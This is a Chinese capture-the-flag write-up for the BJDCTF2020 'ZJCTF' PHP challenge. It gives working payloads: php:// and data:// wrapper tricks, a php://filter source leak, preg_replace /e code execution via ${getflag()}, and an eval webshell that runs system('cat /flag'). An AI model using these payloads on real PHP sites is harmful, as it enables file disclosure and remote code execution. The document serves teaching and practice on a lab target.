[BJDCTF2020]ZJCTF,不过如此

buuctf上的1point水题,由于没见过正则的洞,所以发出来记录一下。

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php  
}
else{
    highlight_file(__FILE__);
}
?>

常规考点了,两个参数一个进入file_get_contents函数,一个在if判断成功后进入include;首先是控制参数text利用php的相关伪协议,向预读取文件中写入I have a dream字符串。

方法一:php://input

?text=php://input
post:I have a dream

方法二:data://末尾斜杠可加可不加

?text=data:text/plain,I have a dream
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=

继续往后看,提示不能出现flag,后面include函数后又给了next.php的提示,一猜就是老套娃了,然后file参数直接php://filter协议读取next.php的源码;

file=php://filter/read=convert.base64-encode/resource=next.php

得到

/* PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
*/
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

这里看到可以利用getFlag函数进行命令执行,但是没有调用,这开始让孩子很懵逼后来查了查是preg_replace函数下的RCE漏洞。

preg_replace()函数的RCE漏洞

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

漏洞条件

/e修正符修饰下,preg_replace中的第二个参数将当作php代码执行。

example

<?php
if (isset($_GET['t'])) {
    echo preg_replace('/test/', $_GET['t'], 'Just test');
}

此时没有/e这段代码就将Just test中的test换成了GET传的t值,如下图:

但如果用了/e修饰符就会有以下效果:

<?php
if (isset($_GET['t'])) {
    echo preg_replace('/test/e', $_GET['t'], 'Just test');
}

会有一个报错,修改传入的参数为system('whoami');

直接当作php代码执行了,这就是该漏洞的效果。

有了以上基础漏洞背景后,再回头看刚才那段代码

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

不难发现它把replacement参数固定了,查资料后得知这种写法也曾在Thinkphp2.x以及3.0-3.1造成过RCE漏洞

\1表示取出正则匹配后的第一个子匹配中的第一项,所以我们要保证在strtolower函数中取到的数据是我们想要的,那我们就要同时控制$re$str,正则中的参数我们就得填写为.*或者\S+

.匹配除换行符之外的任意字符;

\S匹配任何非空白字符。等价于 [^ \f\n\r\t\v]

+匹配一次或多次,即{1,}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

再利用这个循环将$re$str传进去

?\S%2b=${getflag()}&cmd=show_source("/flag");

因为php里会把参数名里的特殊字符转为下划线_,那么我们只能用\S+传参。

当然这里也可以写shell

?\S*=${eval($_POST['Tr0jAn'])}
POST:
Tr0jAn=system("cat /flag");
最后修改:2020 年 10 月 15 日 10 : 06 PM
请作者喝杯奶茶吧~